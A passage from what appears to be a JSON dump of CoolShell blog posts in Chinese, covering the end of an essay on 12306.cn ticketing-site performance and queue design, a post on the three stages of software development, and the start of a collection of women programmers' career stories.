这样在购买里就必需要用这个身份证来买，但这也还不能杜绝黄牛排队或是号贩子。因为他们可以注册N个帐号来排队，但就是不买。黄牛这些人这个时候只需要干一个事，把网站搞得正常人不能访问，让用户只能通过他们来买。\n\n\n2）**对列的一致性**？对这个队列的操作是不是需要锁？只要有锁，性能一定上不去。试想，100万个人同时要求你来分配位置号，这个队列将会成为性能瓶颈。你一定没有数据库实现得性能好，所以，可能比现在还差。**抢数据库和抢队列本质上是一样的**。\n\n\n3）**队列的等待时间**。购票时间半小时够不够？多不多？要是那时用户正好不能上网呢？如果时间短了，用户不够时间操作也会抱怨，如果时间长了，后面在排队的那些人也会抱怨。这个方法可能在实际操作上会有很多问题。另外，半个小时太长了，这完全不现实，我们用15分钟来举例：有1千万用户，每一个时刻只能放进去1万个，这1万个用户需要15分钟完成所有操作，那么，这1千万用户全部处理完，需要1000\\*15m = 250小时，10天半，火车早开了。（我并非信口开河，[根据铁道部专家的说明](http://t.cn/z0g7dGJ)：这几天，平均一天下单100万，所以，处理1000万的用户需要十天。这个计算可能有点简单了，我只是想说，**在这样低负载的系统下用排队可能都不能解决业务问题**）\n\n\n4）**队列的分布式**。这个排队系统只有一个队列好吗？还不足够好。因为，如果你放进去的可以购票的人如果在买同一个车次的同样的类型的票（比如某动车卧铺），还是等于在抢票，也就是说系统的负载还是会有可能集中到其中某台服务器上。因此，最好的方法是根据用户的需求——提供出发地和目的地，来对用户进行排队。而这样一来，队列也就可以是多个，只要是多个队列，就可以水平扩展了。这样可以解决性能问题，但是没有解决用户长时间排队的问题。\n\n\n我觉得完全可以向网上购物学习。**在排队（下单）的时候，收集好用户的信息和想要买的票，并允许用户设置购票的优先级，比如，A车次卧铺买 不到就买 B车次的卧铺，如果还买不到就买硬座等等，然后用户把所需的钱先充值好，接下来就是系统完全自动地异步处理订单**。成功不成功都发短信或邮件通知用户。这样，系统不仅可以省去那半个小时的用户交互时间，自动化加快处理，还可以合并相同购票请求的人，进行批处理（减少数据库的操作次数）。**这种方法最妙的事是可以知道这些排队用户的需求，不但可以优化用户的队列，把用户分布到不同的队列，还可以像亚马逊的心愿单一样，通过一些计算就可以让铁道部做车次统筹安排和调整**（最后，排队系统（下单系统）还是要保存在数据库里的或做持久化，不能只放在内存中，不然机器一down，就等着被骂吧）。\n\n\n#### 小结\n\n\n写了那么多，我小结一下：\n\n\n0）**无论你怎么设计，你的系统一定要能容易地水平扩展**。也就是说，你的整个数据流中，所有的环节都要能够水平扩展。这样，当你的系统有性能问题时，“加30倍的服务器”才不会被人讥笑。\n\n\n1）**上述的技术不是一朝一夕能搞定的，没有长期的积累，基本无望**。我们可以看到，无论你用哪种都会引发一些复杂性，设计总是在做一种权衡。\n\n\n2）集中式的卖票很难搞定，使用上述的技术可以让订票系统能有几佰倍的性能提升。而在**各个省市建分站，分开卖票，是能让现有系统性能有质的提升的最好方法**。\n\n\n3）**春运前夕抢票且票量供远小于求这种业务模式是相当变态的**，让几千万甚至上亿的人在某个早晨的8点钟同时登录同时抢票的这种业务模式是变态中的变态。业务形态的变态决定了无论他们怎么办干一定会被骂。\n\n\n4）**为了那么一两个星期而搞那么大的系统**，而其它时间都在闲着，有些可惜了，这也就是铁路才干得出来这样的事了。\n\n\n***更新2012年9月27日***\n\n\n**Alexa 统计的12306的PV** （注：Alexa的PV定义是：一个用户在一天内对一个页面的多次点击只算一次）\n\n\n![](../wp-content/uploads/2012/01/12306.png \"12306\")\n\n\n（**本文转载时请注明作者和出处，请勿于记商业目的**）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![分布式系统的事务处理](../wp-content/uploads/2014/01/trade-off-150x150.jpg)](https://coolshell.cn/articles/10910.html)[分布式系统的事务处理](https://coolshell.cn/articles/10910.html)\n* [![多版本并发控制(MVCC)在分布式系统中的应用](../wp-content/uploads/2012/03/o_conditional_update_1-150x150.png)](https://coolshell.cn/articles/6790.html)[多版本并发控制(MVCC)在分布式系统中的应用](https://coolshell.cn/articles/6790.html)\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![AWS 的 S3 故障回顾和思考](../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png)](https://coolshell.cn/articles/17737.html)[AWS 的 S3 故障回顾和思考](https://coolshell.cn/articles/17737.html)\nThe post [由12306.cn谈谈网站性能技术](https://coolshell.cn/articles/6470.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-1-30 软件开发的“三重门”.md",
    "content": "---\nlayout: post\ntitle: 软件开发的“三重门”\ndate: 2012/1/30/ 3:0:50\nupdated: 2012/1/30/ 3:0:50\nstatus: publish\npublished: true\ntype: post\n---\n\n自从上次写了“[程序员技术练级攻略](https://coolshell.cn/articles/4990.html \"程序员技术练级攻略\")” 以来，就觉得似乎还有很多东西没有谈到，但当时没有继续思考了。而春节前有人问我，是做底层技术，还是做业务。这问题让我思考了很多，不由自主地回顾了一 下我这十多年的软件开发经历，并顺着整理分类了一下自己解决过的若干问题，还发散想了很多，经过了一个春节假期的发酵，产生了下面这篇文章。\n\n\n#### 前言\n\n\n这篇文章必然是通过我的个人经历来写的。所以，我先说说个人经历吧。我的经历基本分成三个阶段。\n\n\n**第一阶段：**我 刚毕业时在家乡的某银行工作，做些银行的业务系统，还搞些网络，电子邮件系统，OA什么的，因为大四的时候在老师的公司里实习，银行里的人际关系太复杂， 而且技术都包给了产商，所以在银行的每一天都觉得不能适应里面的工作环境。两年后离职，单位分的房也不要了，直接去了上海，在上海呆了两年，本来想做互联 网的，但是泡沫来了，最终去了一家做系统集成的国企公司还是继续做银行业务。这四年来，主要解决的都是一些业务上的问题，银行里的会计业务，OA业务，国 际业务，中间对公业务都非常地复杂，而且因为当时的软件开发相当的不规范，所以基本上是在一种比较混乱的状态下度过的，而银行方面又很强势，所以，这段时 间主要是做业务。所以，技术上主要是积累了如何使用那些技术。C+/Java， Windows编程，Unix编程，网络编程主要是这段时间学的，看了太多的书（我大学课程里没有C++和Java，也没有Windows/Unix和网 络编程，所以，只能拼命地看书和自学）。\n\n\n**第二阶段：**然后，我来了北京，到了一家做分布式计算系统的公 司，整天和一个高性能技术高可用性的企业级的集群式的软件产品打交道（这家公司去年被IBM收购了），在这家公司把Windows/Unix和网络编程有 了更深入的了解，对我长进比较大的是明白了怎么做一个性能高，可用性高的集群式的系统，天天和底层打交道，干了4年多。然后去了一家金融信息公司，这家金 融公司主要做全球的金融信息数据处理，而我主要还是做核心数据发布系统的性能调优的项目，金融数据的实时性要求的高，数据量非常地大，高可用性要求得高， 得想尽一切办法省网络带宽，增加系统性能，还要保持高的可用性，不当机，不丢包。又干了4年多，入职的时候从国外接过来两个系统，其性能单机每秒可处理 120K message，我走的时候，我和团队把其优化到了每秒1.4M messages 的吞吐，另一个系统，从接手时的100k message/s优化到了500k message/s。这八年多的时候，全是在和这些高计算高性能的项目打交量，几乎没有什么业务，都是纯技术，积累到了很多和性能有关的高并发高计算系统 架构级的知识。\n\n\n\n**第三阶段：**两 年前来到了现在的做电子商务的互联网公司，还是在做一个数据处理量很大的业务系统，因为要干的是要把电子商务全球化的东西。但是，因为电子商 务的特殊性，必需要去兼顾业务的特点，而且在这家电商公司，耳读目染了很多有趣的业务难题，比如，库存计划，配送优化，等等。虽然很多东西还不明白，但发 现，用技术来解决业务难题真是太有意思了。\n\n\n我的这三个阶段，第一个阶段花了4年，第二个阶段花了8年，第三阶段刚刚开始2年不到，有时候我也去别的公司讲课，所以，我很有幸经历了中国软件开发的进化过程。**我的经历可以说是中国软件行业进程的一个缩影，而我把这三个阶段称为**——**软件开发的三重门**。它们分别是：\n\n\n* **业务功能 –** 粗放地开垦\n* **业务性能 –** 扩大化生产\n* **业务智能 –** 精耕细作\n\n\n之所以加上“业务”二字，是因为我以为计算机是一个工具，其用来解决实际问题，所以，什么都离不开业务，就算是性能优化也一样，通过之前那篇“[12306.cn的性能优化](https://coolshell.cn/articles/6470.html \"由12306.cn谈谈网站性能技术\")”中的“业务分析”段落，我们可以知道业务的不同，系统的难度和解决方法就可以不同。所以，我们总是用技术在解决业务问题。**业务的形态对软件的开发有决定性的作用**。\n\n\n下面让我具体描述一下。\n\n\n#### 一重门：业务功能\n\n\n这 是软件开发的第一重门，也就是掌握可以实现业务功能的技术。通常分成三块：语言+系统+数据处理。在这个阶段，主要是能掌握各种技术，比如：开发用的各种 工具（如：IDE，XUnit，Debugger，等），各种代码库和框架（如：C++的STL，ACE，Boost，等，Java的 Spring，Hibernate等），各种系统知识（如：Windows API，Unix/Linux API，TCP/IP，Socket，多线程多进程间的同步、互斥，并发安全，还包括Web平台，移动平台，等等），还需要掌握数据处理的知识（如：数据 结构，基本算法，数据库设计，数据库引擎 ，SQL等），等等……\n\n\n这个阶段主要是把这些不同的技术组织成可以实现业务功能的解决方案。重点是能掌握和使用技术。很多流程和方法论的东西基本上就在这一重门里。**这重门主要解决的是业务实现问题**。\n\n\n#### 二重门：业务性能\n\n\n业务的功能搞定了以后，就是业务的性能问题了。搞定功能并不难，搞定性能是有点技术含量的事。有句话不是那么说的吗——**每个人都可以搞一个网站出来，但不是每个人都能搞出能支持百万级访问量的网站**。但是，我看到很多技术团队或是工程师脱离了业务，只单纯地搞性能，比如：单台服务器支持10万个TCP链接的并发，等等。这些东西虽然在技术上有点意思，但是没有业务的环境，也只能是自娱自乐了。\n\n\n我们可以看到一些企业开始注重这个问题了，性能问题也是最近被大家讨论得最多的问题，京东商场的性能问题，12306的性能问题，等等。\n\n\n当然，**所谓性能不并单单指系统的吞吐力，还指系统运行时的总体性能**，比如，系统安全性能，易用性能，系统的Accessbility的性能，系统的扩展性性能，等等，就像是前段时间“[Web开发中需要注意的问题](https://coolshell.cn/articles/6043.html \"Web开发中需要了解的东西\")”一文中谈到的那些事一样。这表明着你对系统的全面和深入的了解。\n\n\n在 这个阶段，需要对业务模型，数据流，业务流，系统架构，算法，和各种技术有深入的了解，要了解到本质上来。比如，在第一重门中，我们只需同要知 道，Java有同步关键字，在这一重门中，我们还要知道同步或互斥对性能的巨大伤害性，在第一重门中，我们只需要知道STL中的智能指针或是STL的用 法，这一重门中，我们还要知道智能指针中的refcnt的同步加锁对性能的损害，还需要知道STL中容器的size()方法在某些时候是性能很差的。在第 一重门中，我们需要知道hash表的效率，在这一重门中，我们还需要知道[hash表的碰撞问题](https://coolshell.cn/articles/6424.html \"Hash Collision DoS 问题\")。\n\n\n最重要的是，**在这重门重点是软件的设计问题**。你需要有足够多的经验能比较不同设计方案的优缺点，比如TCP和UDP，同步和异步，epoll和select，push和pull，水平扩展的各种方案…… 还记得本站的那篇“[程序员的谎谬之言还是至理名言](https://coolshell.cn/articles/4235.html \"程序员的谎谬之言还是至理名言？\")”，广度是你深度的副产品。所以，这重门是看你的技术视野有多深有多广。\n\n\n#### 三重门：业务智能\n\n\n这 重门可能是最难的一重门了，如果你能进到这重门里，你应该是科学家级的程序员了。让你有智能的业务，这个事可能是顶级的技术难题了。第一和第二重门都不算 难，这重门是最难的。参看Amazon的个性化推荐系统，或是Google搜索引擎的结果个性化推荐等等（比如我输入“黑天鹅”关键字，你怎么知道我要找 的是动物，电影，音乐，还是本书？怎么让搜索出来的结果排名即公正又可个性？），你就知道，用技术来解决这种类似的问题难度可想而知，不然就不会出现如 Hadoop之类的技术了。\n\n\n我再举两个这重门里的业务方面的例子。\n\n\n* 一个例子是关于库存计划的，需要像天气预报一样 预测未来的销售量从而决定库存，所以，最简单的做法是，监测各个商品的销售统计，然后看一下最近的销售趋势，还要看一下往年的销售趋势（因为某些节假日会 是一个高峰期），还要分析一下大众的喜好变化，比如，在某影评网站上的某电影的热度其会告诉我哪个电影的DVD要滞销了，得打折卖，哪个电影的DVD要畅 销了，得多进货了。还可能需要监控新闻评论，比如某权威人士推荐了某个商品，那么我得赶快进货了。等等。这完全就是一门科学。\n\n\n* 还有一个例子是配送问题。我有一辆卡车要处理我仓库和配送站间的物流问题，我需要找到一条最经济的路线来在有限的时间内处理最多的物流。这个不是最短路径问题，这是个计划统筹学的东西。也是一门科学。\n\n\n还有近期“方韩之争”里有很多人来分析文章相似度的技术，这些东西都属于三重门里的东西。\n\n\n到了这重门里，可能技术反而不是重要的了，而是数学模型。**这重门里主要是业务模型，数据模型和算法问题**。这些东西和你的业务模型密切相关。能解决这样的问题，是真正的大牛。对于我来说，可能是高山仰止了。\n\n\n#### 后记\n\n\n通过上面的说明，我们可以看到下面这些东西，\n\n\n* 我的那篇“[程序员技术练级攻略](https://coolshell.cn/articles/4990.html \"程序员技术练级攻略\")”里的东西只能让我们最多达到1.1 到 1.2重门。\n\n\n* 一重门像是开垦荒地，二重门像是扩大生产，三重门像是精耕细作。\n\n\n* 一重门（业务实现）里聚集着大量的劳动密集型的企业，劳动密集型的企业通常都需要流程和方法论。敏捷过程改进这类的东西只在一重门里。\n\n\n* 二重门和三重门里只有少数不多的技术型的公司。这类的公司通常非常注重技术，并且是企业文化是工程师的文化。\n\n\n* 三重门里可以产生的创新和那些可以用来改变世界的技术。\n\n\n* 国内现在的情况是，一重门优化阶段 + 二重门的学习阶段。三重门里似乎还没有什么见术。不过，我看到一些公司已在尝试三重门的东西了。\n\n\n* 作为技术人员的你，如果你想跟上时代，让自己有价值的话，你至少要达到二重门。\n\n\n* 因 为国内的技术环境等不良因素，导致大量的程序员在一重门的时候就已经失去信心，或被大浪淘沙淘掉了，所以，二重门里的程序员比较少了，但是随着年轻的一代 和技术的日趋成熟，也会慢慢多起来的，我现在已经看到这个趋势了。而三重门里的程序员成了稀缺的大熊猫。因为大量的二重门程序员干到那个时候都转管理了。\n\n\n**我的这些言论不一定对，但希望能让大家有启发，有所思考。**\n\n\n**注**：本来这篇文章的标题想取成“**程序员要解决的三种问题**”， 但是因为过年都在关注 “方韩之争”，所以，干脆取成了这个名字。你可以认为我比较调皮，也可以认为我爱ZB，还可以认为我标题党，反正，请随意理解。（这篇文章是我的自己写 的，没有代笔，因为你一定会在这篇文章中看到属于我的用五笔打出来的错别字，当然，我无法自证，哈哈）\n\n\n（**转载时请注明作者和出处，请勿用于商业用途**）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [软件开发的“三重门”](https://coolshell.cn/articles/6526.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-1-4 程序员因为女孩而美丽！.md",
    "content": "---\nlayout: post\ntitle: 程序员因为女孩而美丽！\ndate: 2012/1/4/ 0:29:8\nupdated: 2012/1/4/ 0:29:8\nstatus: publish\npublished: true\ntype: post\n---\n\n**女程序员是程序员里美丽的风景线，我希望这些女程序员的经历能让我们****在这个“重男轻女”的社会中可以给女程员有更多平等的机会和条件，以及相应的尊重****。****因为，她们其中不乏优秀的程序员，而且在心态、态度和努力上还强过很多男性程序员，很多东西都值得我们大家**向她们学习****。\n\n\n这篇文章的来由是因为Eva在“[三个事和三个问题](https://coolshell.cn/articles/6142.html \"三个事和三个问题\")”的评论里[问我女孩子是否能做技术](https://coolshell.cn/articles/6142.html/comment-page-1#comment-113406)，她说她的很多师兄都告诉他不要做技术，所以，她有些不坚定了。我的回复是告诉了她我工作经历中的两个技术很牛的女孩，并且我从她们身上学到了多技术。但是，后面有一些人回复说我误导了别人。所以，我在[新浪微博](http://weibo.com/1401880315/xE597iX6J)和[twitter](https://twitter.com/#!/haoel/status/151856699387547649)上征集女程序员的故事和想法。我一共收到了19封邮件，其中有17封邮件来自女程序员。其中有一个已经发布了（[一个女程序员的故事](https://coolshell.cn/articles/6312.html \"一个女程序员的故事\")），其中的一些观点已经在网上传播，并得到了大家的刮目和称赞。但这并不是特例，因为下面的这些故事中，还有很多令人刮目相看的东西。\n\n\n**说明**：先说明一下，这篇文章并不想讨论女孩子是不是适合做技术，这不值得讨论，因为，在“[一个女程序员的故事](https://coolshell.cn/articles/6312.html \"一个女程序员的故事\")”中我们已经知道，态度和努力才是原因，而不是性别。这里，也只是想告诉那些有“性别歧视”、“看不起女程序员”、“骄傲自大”的男程序员们，那些女程序员不为所知的一面。**我把几乎所有的故事都列在这篇文章里了，我觉得我不用再多说什么了，这些故事组成的风景线，可以让你充分地了解女程序员**。\n\n\n![Ada Lovelace 世界第一个程序员](../wp-content/uploads/2012/01/481px-Ada_Lovelace_1838.jpg \"Ada Lovelace 世界第一个程序员\")Ada Lovelace 世界第一个程序员\n在看到那些故事之前，我们需要了解这样的现实——\n\n\n\n* **大多数女孩子并不喜欢技术**。这点从我们的计算机专业的学校就可以看到了。我上大学时，两个专业60个同学，有15个女生，男女比例已经失衡。不过，这些女生今天基本全部都还在做技术。现在，十多年了，她们其中女生还在各个公司的技术部门，主要做 开发和运维。这些是70后的女生。对于80后和90后的女生来说，可能喜欢技术的就更少了。Gavin在来信中说：“我们学院每届大约有800名学生，也就是说每年整个计算机学院只有大约50名女生。在这50名女生中，据我所知有至少一半的女生从开始到最后对编程一点兴趣都没有，这一半的女生有的准备跨专业考研，有的在考公务员，有的去了跟计算机专业几乎不沾边的行业去工作了，有的在大二的时候就已经开始修双专业了”。不过，在这里我们来看看做技术的女孩子是什么样的。\n\n\n\n* **女孩子在找工作的时候总是会被歧视**。很多用人单位都会问女孩子生孩子的问题，这简直就是干涉隐私和性别歧视，要在西方国家里，完全可以对这样的公司进行起诉。对于这种不尊重女性的公司，无论男女，一定不会尊重员工的。所以，这样的公司一定不要去。而很多女孩也会觉得结婚生子后就不能再从事技术了，所以，她们也对技术行业的未来没有信心。**Myma**在来信中说：“女人做技术最怕就是世俗的偏见，尤其是过了30，生了孩子，明显感觉出来了，职业瓶颈”。 **召娣**说：“面试的时候会问有没有男朋友，下一步会不会结婚，接下来就是会不会要孩子之类的”，几乎所有的女程序员都在说这个事。\n\n\n\n* **自大的男程序员看不起女程序员**。女程序员在工作中受到太多的不公平的待遇了。就连平时男程序员们都以一种高人一头的语气和她们说话。这样的例子太多了，在我blog中的回复中，在平时，我们都可以看得到。而我们的大多数的女性都会因为别人看不起而失去信心。当然，这点男程序员也一样，因为技术好的人总是会看不起技术不好的人。这是技术人员的通病。**冰**在来信中说：“另一个困扰的问题是，可能女生少的原因，在本部门风言风语不断，给我个人生活不少的精神压力，平时同事也会半开玩笑的说，嫁了吧，写什么代码，而且跟一些比较资深的程序员聊天时，总会呵呵的轻笑，然后说你是程序员啊。。。部门一些杂务，通常都扔了给我处理，这个我觉得吃点亏也没什么大事，但是就是忍受不了那种受轻视的感觉”。**Cathy**说：“项目组的组长是一个博士，人很好但是不太会和女孩子打交道，或者说有一些性别歧视吧。”\n\n\n但是这些现实中的东西，对于我们的女程序员来说算不了什么！不信，你看看他们的故事。**至少你会发现，做技术的女孩一点也不浮华**！\n#### 女程序员的故事\n\n\n下面的故事，都是原文，没有经过任何编辑。下面的故事，很多也很长，她们串成了一个非常美丽的风景线，**我真的希望你有空能读一读这些故事。你会发现这些故事都有我们自己的身影**。\n\n\n真的非常感谢大家对我的信任，给我发来这么多的故事，谢谢你们的支持。我完全相信——\n\n\n##### 程序员因为女孩而美丽！\n\n\n\n##### Shaofei – 妈妈是个程序员\n\n\n1.我老妈是程序员，老朽今年二十有七了，可以想象年龄。\n\n\n2.她20来岁的时候，背着全部门写的程序——一卷打孔纸带去北京上机调试，要排机时，还要给重要的项目让路，改程序么，就是把纸带剪断，用胶粘一段上去之类的。\n\n\n3.她们那个时代的程序员都是直接读机器码的，大约就是5665表示begin之类的东西，而且是用打孔纸带二进制表示的，嗯，小时候有印象，她读程序就是站在床上一手拿着纸带卷，另一手抽着读，读过的就拖到地上。\n\n\n4.好吧，那个时代的程序员应该坚持到现在的不多，很遗憾她中间也转了管理又转了市场，后来创创业也没成，于是现在待在家里悠闲。\n\n\n\n\n##### zxy\\_snow – 半女程序员流水账\n\n\n自我介绍下，女，大三，某高校软件工程专业。\n\n\n我想，严格意义上来说，我还算不上女程序员吧，还是一个弱弱的学生。\n\n\n接触程序还是在大学开始，或者说，大一下接触ACM 之后吧。当初和朋友一起做ACM，这一年半，不停地学算法、刷题，也成就了一个水题博客（我的CSDN密码??），交到了很多其他大学的朋友，人外有人，深知这句话的意思。虽然算不上太聪明，不过不笨，另外，还算坚持，想想搞ACM 的时候，经常攒着电影没时间看放寒暑假回家看，看一个电影都能刷个题了都。现在想想，那些日子真的很开心。吃饭的时候可以想想，啊，这个应该用这个算法，和朋友们出去的时候可以一起讨论。用学长的话，有一个你可以一直在脑袋里想的问题，多好啊！庆幸自己遇到了ACM，做自己喜欢的事情，尽自己全力，在大学阶段，真的很难  \n\n得。毕竟大学之前，就像机器一样，大家都这么做，我也就这么做，但是大学之后，是完全靠自己想法行动的，无论做什么，都是自己的意愿，这样很有成就感。\n\n\n还记得，大二的时候，是好孩子，不想逃课，就印了题、算法、论文去课堂上看，看懂后果断逃课回去敲代码，哈哈，不是个好孩子呢！翘了不少课。寒暑假总被老妈说，说别学了，出去玩玩，哈哈！如果她知道我学的和课业无关她会不会还这么说，嘻嘻！\n\n\n今年的11 月，区域赛结束后，算是告别ACM，开始踏上了网络方面的不归路。确切的说，是因为需要做课程设计。我用了俩星期从J2EE 啥也不懂然后和朋友们完成我们的项目，很开心。我想，这些学习能力、代码能力是ACM 给我的。开始一个完全未知的领域真的好难啊，各种不懂，我的“to learn list.txt”一大堆东西，慢慢来吧，近期把JS 的基础视频看完了，《正则表达式必知必》会看完了，struts2 视频正在学，寒假还有各种任务呢！哈，想想寒假我都好兴奋，寒假学习效率会很高的。当然，先应付完期末考试。引用另一位学长的话，搞ACM的要当学霸！优秀应该是各个方面的。\n\n\n这次寒假的主要任务是做学校的在线测评系统，怎么说呢，我觉得这是又一件我真心想做并且想把它做得完美的东西。这样的感觉很少有了，但是这次，我真心想把它弄好，所以学架构，写需求分析，数据库设计，学各种需要的知识，但是总感觉，学得越多，自己越需要学的东西就越多，不过，只要开始学了，就有进步的。\n\n\n不知道符合要求不，似乎又写了一篇流水账，所以说我觉得我还不算是程序员，不过未来很希望成为一名程序员，写代码多开心呐！\n\n\n\n\n##### 璀璨 – 时刻准备着\n\n\n我：大四在一家叫食草堂的公司做网络管理及网店运营，但基本用不到专业知识。毕业后男朋友坚持不让我再随便找工作，他一个人挣钱并供我去学习java语言，学习了8个月找到了一份做ip网管软件的公司，男友在一家培训机构做教师，后来渐渐觉得不快乐不充实，被封闭在这样的空间内，不能去接触新技术新人，视野渐渐狭窄。于是我们一起辞职从天津来到了杭州，只面试了一家就来上班了，当时觉得自己能力有限，不应该是我挑工作。。。在这里做手机阅读网站，接触不到数据库，我们负责的是中间层，将数据从接口取出展示在页面上，由于我工作积极主动活泼开朗，喜爱解决疑难杂症，又爱组织这个那个的，PM将我提升为开发组负责人，但是转眼一年多过去了，我并没有觉得有成就感，相反觉得自己在技术上一事无成、在管理上又不专业，不想走管理的道路。这一年来我和男友去上海参加了几次技术大会，每回回来都会热血沸腾，我工作很忙又懒惰，导致技术水平一直无法提高，很多书都没看。每天都有强烈的自责感，但又觉得没有学不会的东西，所以就无法放弃。也因为自己对技术能力表示质疑，不敢去大的公司应聘，导致现在总是时刻准备着。。。\n\n\n回想这些年，我心中所树立的理想、信念，我对it行业的向往、甚至我现在的自责感，都和男友对我的影响有关，他的眼界和思考能力要远高于我认识的人，所以有时候我想我的某些思想是依赖于他的更新而更新的。是那种容易被别人感化的人。\n\n\n说说其他的女程序员吧，她们之前的人生经历我不说了，就聊一聊我认识的几种女生在工作上的类型吧。\n\n\n我的同事A：刚毕业没多久的小女生，我每天从男友那里或者我自己这里获得的最新新闻和哲理我都会讲给她听，她认真听，回去也看书，每次都会骄傲的对我说又看完一本了，但技术始终上不来，这大概是那种应试教育下的女生代表类型，就像我们计算机系当年得前三名的女生一样，在实际工作后比不上倒数几名的男生。\n\n\n我的同事B：已经做妈妈了，工作出色，考虑事情全面，只是她的生活完全和世界脱轨，新事物几乎不接触，新技术也是，但是如果工作用到她会积极去学，并且能把工作做好，对未来没有规划，过好日子就行。\n\n\n我的同事C：毕业时是C的佼佼者，毕业后一年多就落后了，被爱情和无聊的日子所累，也总是自责，但找不到学习的方向。\n\n\n看过这么多女程序员的状态，对于自身没有坚定信念和方向的我们来说，我觉得工作环境真的很重要，每天身边是什么人在交流，是什么人在一起工作，团队氛围如何，都会潜移默化影响着每个人，自身的努力和态度也固然不可忽视。\n\n\n\n\n##### 冰 – coding是我们的共同语言\n\n\n昨天见到了你的关于女程序员的征文，也趁着年末，给个小小的回顾自己吧。也算不上什么经验，只是谈下个人经历感受。\n\n\n上大学第一天就知道，班里面只有4个女生，但也并没有任何特殊优厚待遇，一般开什么班会，都是女生迁就男生，大老远跑他们那边去开会，常感受到的是，特别容易被老师或同学质疑，这个是你做的吗？你完成上机实验了吗？要独立完成等等。。。\n\n\n印象比较深刻的是，有一次，电脑坏了，找男生修，结果他说身为计算机专业的女生，连个都不会，在以后的日子里，我就没有再去麻烦过他，也许他们是那些所谓的Geek，但我理解不了这份傲慢，牛人多的去，尤其在我现在工作的公司，一位资深架构师，不论问题大小，都会给你很好的解答，并进一步发散问题，每次聊天都受益匪浅。当然这些也只是少数，大学里面是最好的学习环境，而且很奇怪地，我发现，学习好的女生，都是在一个宿舍，而不学无术的，又会在一个宿舍，工作以后，大半都没有再从事计算机方面的工作了，要么考个公务员，要么做个辅导员，或去个银行什么的。同生同是，一个宿舍里，好像就是一场编程的竞赛，谁更努力，谁更有资本炫，也许这是学习的动力。\n\n\n说下出来毕业出来找工作，当时确实茫然，展望整个专业，本来就女生不多，还有大半都去考研考公务员等等的，觉得自己出路在哪啊，男生这么优秀，你凭什么跟他们一拼高下，一次又一次的经历招聘会的沮丧，信心都快打击光了。后来，收到了第一个offer，就马上把自己卖了，这也是我的第一份工作，我是09年毕业的，当年市场确实也不怎么景气，有好些同学，都是在年末才找到工作，甚至先去上了个什么一万多的达内啊青鸟啊之类的软件培训课程。\n\n\n上班之后，也没多好受，原来老大当初把我招进来，有一个原因是想解决下公司内部单身男士的需求，给我的一般是轻活，自然奖金工资总比同进来的男生少（私底下交流过），自问没做得比他们少。值得庆幸的是我跟了一个不错的组长，他会给跟老大提出要求，可以给我安排些挑战性的任务，由于过去一年确实也收获不少，虽然不是在金钱上，一直比别人努力希望能纠正老大眼中的我是花瓶的感觉。\n\n\n同时，另一个困扰的问题是，可能女生少的原因，本人有几分姿色，在本部门受不少人追，风言风语不断，给我个人生活不少的精神压力，平时同事也会半开玩笑的说，嫁了吧，写什么代码，而且跟一些比较资深的程序员聊天时，总会呵呵的轻笑，然后说你是程序员啊。。。部门一些杂务，通常都扔了给我处理，这个我觉得吃点亏也没什么大事，但是就是忍受不了那种受轻视的感觉。\n\n\n处心积累了一年半，跳离了这个是非之地，目前在工作的公司。终于呼吸到新鲜的空气，现在整个开发团队，只有我一女的，开会什么的我就显得特别突出，办活动或者聚会什么的，总不能太融入他们，他们一帮程序猿，辟酒通宵桌游聊天，我总不能也凑上去喝个烂醉吧，活动吧，他们篮球啊足球啊，我根本掺和不上，剩下的就是大家吃个饭，感情上总是欠缺一些，但是他们都很照顾我和接纳我，也教会我了用很多的工具，大家总以邮件形式来分享代码中遇到的抽疯问题，白痴陷阱，即使错了也没关系，反正就是可拍砖可嘉奖，气氛相当的学习火热型。\n\n\n另外一样是，coding我们可能有共同语言，但退下工作后，基本上，跟一群男程序猿聊一起很难话题不多，偶尔遇到一两个话多一些风趣一些，其他都是木纳得很；而作为女性，当然会爱逛街爱八卦爱打扮，但同学已经各散东西，同事中没几个女的，生活已经没有几个女伴一起做女生爱做的事，而且，上班时，我总是小心翼翼不能穿得太性感，不打扮，怕会遭人闲语。\n\n\n呵呵。本文就一啰嗦。莫见怪。\n\n\n\n\n##### Maya Maya – 